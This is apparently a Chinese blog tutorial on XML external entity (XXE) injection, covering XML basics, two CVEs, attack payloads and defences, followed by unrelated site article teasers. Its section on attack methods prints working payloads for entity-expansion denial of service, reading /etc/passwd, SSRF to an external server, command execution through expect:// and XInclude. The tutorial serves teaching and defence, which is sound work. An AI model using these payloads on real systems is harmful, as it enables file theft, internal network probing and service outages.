xxe漏洞--xml外部实体注入漏洞

news2024/11/22 23:08:35

1.xxe漏洞介绍

XXE(XML External Entity Injection)是一种攻击技术,它允许攻击者注入恶意的外部实体到XML文档中。如果应用程序处理XML输入时未正确配置,攻击者可以利用这个漏洞访问受影响系统上的敏感文件、执行远程代码、探测内网端口、攻击内网网站等后果。XXE漏洞通常发生在解析XML数据时,没有禁用外部实体的加载。外部实体可以指向一个远程文件,如果没有适当的控制,攻击者可以利用这一点来获取敏感信息或执行攻击。

w3school 在线教程

1.1 xxe基本格式

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><!--xml文件的声明-->
<bookstore>                                                 <!--根元素-->
<book category="COOKING">        <!--bookstore的子元素,category为属性-->
<title>Everyday Italian</title>           <!--book的子元素,lang为属性-->
<author>Giada De Laurentiis</author>                  <!--book的子元素-->
<year>2005</year>                                     <!--book的子元素-->
<price>30.00</price>                                  <!--book的子元素-->
</book>                                                 <!--book的结束-->
</bookstore>                                       <!--bookstore的结束-->

 <?xml version="1.0" encoding="UTF-8" standalone="yes"?> 称为 XML prolog ,用于声明XML文档的版本和编码,是可选的,必须放在文档开头。
standalone值是yes的时候表示DTD仅用于验证文档结构,从而外部实体将被禁用,但它的默认值是no,而且有些parser会直接忽略这一项。

1.2 xee基本语法

(1)所有 XML 元素都须有关闭标签。

(2)XML 标签对大小写敏感。

(3)XML 必须正确地嵌套。

(4)XML 文档必须有根元素。

(5)XML 的属性值须加引号。

若多个字符都需要转义,则可以将这些内容存放到CDATA里面

2.xxe漏洞存在

2.1 xxe存在的版本

在php里面解析xml用的时libxml,其在≥2.9.0的版本中,默认是禁止解析xml外部实体内容的。

OpenCMS:OpenCMS是一款功能强大的开源Web内容管理系统。在OpenCMS 9.0.0至10.5.0的版本中,存在一个XXE漏洞(CVE-2023-42344)。这个漏洞允许未经身份验证的远程威胁者发送带有XXE Payload的恶意HTTP POST请求,可能导致任意文件读取、命令执行等危害。受影响的用户应升级到OpenCMS 10.5.1或更高版本来修复这个漏洞。

Apache Ambari:Apache Ambari是一个用于配置、管理和监控Apache Hadoop集群的工具。在Apache Ambari 2.7.8之前的版本中,存在XXE注入漏洞(CVE-2023-50380)。由于DocumentBuilderFactory实例未正确配置以禁用外部实体,低权限攻击者可以通过提交恶意XML文档来读取服务器上的任意文件以及提升权限等。建议将Ambari升级至2.7.8及以上版本来修复这个漏洞。

2.2 xxe存在的位置

MIME类型为XML

3.攻击方式

3.1 拒绝服务攻击

<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;">
]>
<data>&a2;</data>

若解析过程非常缓慢,则表示测试成功,目标站点可能有拒绝服务漏洞。 具体攻击可使用更多层的迭代或递归,也可引用巨大的外部实体,以实现攻击的效果。

3.2  文件读取

<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///etc/passwd">]>
<data>&file;</data>

 

上面的file:///etc/passwd,这是直接读取服务器的passwd文件内容。最后XML部分就是调用DTD的foo功能,也就是调用xxe,取出数据然后显示,基本上任何xxe的攻击代码都是这么几部分。

3.3 SSRF

<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://publicServer.com/" [
<!ELEMENT data (#ANY)>
]>
<data>4</data>

3.4  RCE

<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>
   <core id="test101">
      <description>&xxe;</description>
   </core>
</catalog>

3.5  XInclude

<?xml version='1.0'?>
<data xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://publicServer.com/file.xml"></xi:include></data>

4.xxe漏洞利用

使用xxe漏洞读取计算机根目录文件,根目录下有1.txt文件

替换根目录文件所在地址,形成xml

在pikachu中xxe漏洞输入框输入xml地址,读取任意文件

未知攻焉知防——XXE漏洞攻防 - 博客 - 腾讯安全应急响应中心

一篇文章带你深入理解漏洞之 XXE 漏洞 - 先知社区

5.xxe漏洞防御


(1)使用开发语言提供的禁用外部实体的方法
PHP:libxml_disable_entity_loader(true);
其他语言:

https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet

(2)过滤用户提交的XML数据
关键词:SYSTEM、PUBLIC、<!DOCTYPE、<!ENTITY

(3)升级版本

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1685034.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

操作系统底层运行原理 —— 基于线程安全的消息机制

前言 学过Android应用开发的大概都知道Handler这个东东&#xff0c;这也是面试中老生常谈的问题。其实不仅仅是Android&#xff0c;iOS以及PC的操作系统&#xff0c;底层也离不开消息机制。这个属于生产消费者问题。 什么是生产者消费者模式 生产者消费者模式&#xff08;Pr…

【UE Websocket】“WebSocket Server”插件使用记录

1. 在商城中下载“WebSocket Server”插件 该插件具有如下节点&#xff0c;基本可以满足WebSocket服务端的所有需求 2. 如果想创建一个基本的服务端&#xff0c;我们可以新建一个actor蓝图&#xff0c;添加如下节点 3. UE运行后&#xff0c;我们可以使用在线的websocket测试助手…

使用MicroPython和pyboard开发板(15):使用LCD和触摸传感器

使用LCD和触摸传感器 pybaord的pyb对LCD设备也进行了封装&#xff0c;可以使用官方的LCD显示屏。将LCD屏连接到开发板&#xff0c;连接后。 使用LCD 先用REPL来做个实验&#xff0c;在MicroPython提示符中输入以下指令。请确保LCD面板连接到pyboard的方式正确。 >>…

认识NXP新型微处理器:MCX工业和物联网微控制器

目录 概述 1 MCX工业和物联网微控制器介绍 2 MCX 系列微控制器类型 2.1 MCX N系列微控制器 2.1.1 主要特征 2.1.2 MCX N系列产品 2.1.3 MCX N9xx和N5xx MCU选型表 2.2 MCX A系列微控制器 2.2.1 主要特征 2.2.2 MCX A系列产品 2.2.3 MCX A MCU的架构 2.3 MCX W系…

Unity射击游戏开发教程:(24)创造不同的敌人

在这篇文章中,我们将讨论添加一个可以承受多次攻击的新敌人和一些动画来使事情变得栩栩如生。敌人没有任何移动或射击行为。这将有助于增强未来敌人的力量。 我们将声明一个 int 来存储敌人可以承受的攻击数量,并将其设置为 3。

Unity修改Project下的Assets的子文件的图标

Unity修改文件夹的图标 示例&#xff1a; 在右键可以创建指定文件夹。 github链接 https://github.com/SeaeeesSan/SimpleFolderIconCSDN资源的链接 https://download.csdn.net/download/GoodCooking/89347361 去GitHub下载支持原作者哦。重要的事情 截图来自GitHub 。 U…

信息系统项目管理师0127:工具与技术(8项目整合管理—8.6管理项目知识—8.6.2工具与技术)

点击查看专栏目录 文章目录 8.6.2 工具与技术8.6.2 工具与技术 专家判断管理项目知识过程中,应征求具备如下领域相关专业知识或接受过相关培训的个人或小组的意见,涉及的领域包括:知识管理、信息管理、组织学习、知识和信息管理工具以及来自其他项目的相关信息等。 知识管理…

【2024】高校网络安全管理运维赛

比赛时间&#xff1a;2024-05-06 Re-easyre 基本的base64换表&#xff0c;用CyberChef解密 Re-babyre 进入主函数&#xff0c;发现输入四次 看一下就知道是大数求解 (当初写的时候差不多 不知道为什么第四个总是算错…) from z3 import *s Solver() # 设置一个解方程的类…

产品经理-需求收集(二)

1. 什么是需求 指在一定的时期中&#xff0c;一定场景中&#xff0c;无论是心理上还是生理上的&#xff0c;用户有着某种“需要”&#xff0c;这种“需要”用户自己不一定知道的&#xff0c;有了这种“需要”后用户就有做某件事情的动机并促使达到其某种目的&#xff0c;这也就…

Redis 主从复制、哨兵与集群

一、Redis 主从复制 1. 主从复制的介绍 主从复制&#xff0c;是指将一台Redis服务器的数据&#xff0c;复制到其他的Redis服务器。前者称为主节点(Master)&#xff0c;后者称为从节点(Slave)&#xff1b;数据的复制是单向的&#xff0c;只能由主节点到从节点。 默认情况下&a…

如何快速从手动测试转向自动化测试

寻求具有无缝持续集成和持续交付 (CI/CD) 的高效 DevOps 管道比以往任何时候都更加重要。想象一下这样一个场景&#xff1a;您的软件组织显著减少了人工工作量、降低了成本&#xff0c;并更加自信地发布了软件更新。换句话说&#xff0c;通过将 Web UI 和 API 测试结合在一起&a…

展现金融科技前沿力量,ATFX于哥伦比亚金融博览会绽放光彩

不到半个月的时间里&#xff0c;高光时刻再度降临ATFX。而这一次&#xff0c;是ATFX不曾拥有的桂冠—“全球最佳在线经纪商”(Best Global Online Broker)。2024年5月15日至16日&#xff0c;拉丁美洲首屈一指的金融盛会—2024年哥伦比亚金融博览会(Money Expo Colombia 2024) 于…

前端开发攻略---用Vue实现无限滚动的几种方法

目录 1、原理 2、使用CSS动画 代码&#xff1a; 3、使用JS实现 代码&#xff1a; 1、原理 复制内容&#xff1a;将需要滚动的内容复制一次&#xff0c;并将这些副本放置在原始内容的后面。这样&#xff0c;当用户滚动到内容的末尾时&#xff0c;就会无缝地切换回到内容的起…

【Python】—— 公共的方法

目录 &#xff08;一&#xff09;公共操作 1.1 公共操作之运算符加号 1.2 公共操作之运算符乘号 1.3 公共操作之运算符判断数据是否存在 &#xff08;二&#xff09;公共方法 2.1 公共方法-len 2.2 公共方法-del 2.3 公共方法-max和min 2.4 公共方法-range 2.5 公共方…

如果 SEC 批准以太坊现货 ETF,会有更多山寨币 ETF 吗?

撰文&#xff1a;Protos 编译&#xff1a;Ismay&#xff0c;BlockBeats 文章来源香港Web3媒体Techun News 编者按&#xff1a;SEC 已与交易平台和 ETF 申请人就 19b-4 规则变更请求进行沟通&#xff0c;这表明以太坊现货 ETF 获批的可能性大大增加。与此同时山寨币投资者猜测…

嵌入式开发中树莓派和单片机关键区别

综合了几篇帖子作以信息收录&#xff1a;树莓派和单片机作为嵌入式系统领域中两种广泛使用的设备&#xff0c;各自有着不同的特性和应用场景&#xff0c;文章从五个方面进行比对展开。 架构与性能&#xff1a; 树莓派&#xff1a;是一款微型计算机&#xff0c;通常配备基于AR…

解决 git:OpenSSL SSL_read: SSL_ERROR_SYSCALL, errno 0

解决 git&#xff1a;OpenSSL SSL_read: SSL_ERROR_SYSCALL, errno 0 问题 git pull报错&#xff1a;fatal: unable to access ‘https://github.com/aircrushin/ultrav-music.git/’: Failed to connect to github.com port 443 after 21077 ms: Couldn’t connect to serve…

成本管控:如何利用 SOLIDWORKS Costing 高效估算成本?

现在全球材料短缺、生活成本上升以及能源价格上涨而导致的成本上升问题突显。 生产产品需要的成本以及如何让产品的成本下降就成为很多的企业越来越关注的问题。 SOLIDWORKS Costing是集成到 SOLIDWORKS Professional 和 Premium 中的一款允许用户和制造商估算产品生产成本的工…

Java 多线程抢红包

问题需求 一个人在群里发了1个100元的红包&#xff0c;被分成了8个&#xff0c;群里有10个人一起来抢红包&#xff0c;有抢到的金额随机分配。 红包功能需要满足哪些具体规则呢? 1、被分的人数抢到的金额之和要等于红包金额&#xff0c;不能多也不能少。 2、每个人至少抢到1元…

A股翻车现场

英伟达业绩炸裂&#xff0c;但今天A股这边不仅没喝着汤&#xff0c;还再度上演大型翻车现场&#xff0c;人家不仅股价大涨7个点还站上1000美元大关&#xff0c; 而咱A股里的英伟达&#xff0c;AI&#xff0c;TMT相关概念股&#xff0c;包括工业&#xff08;富联&#xff09;&am…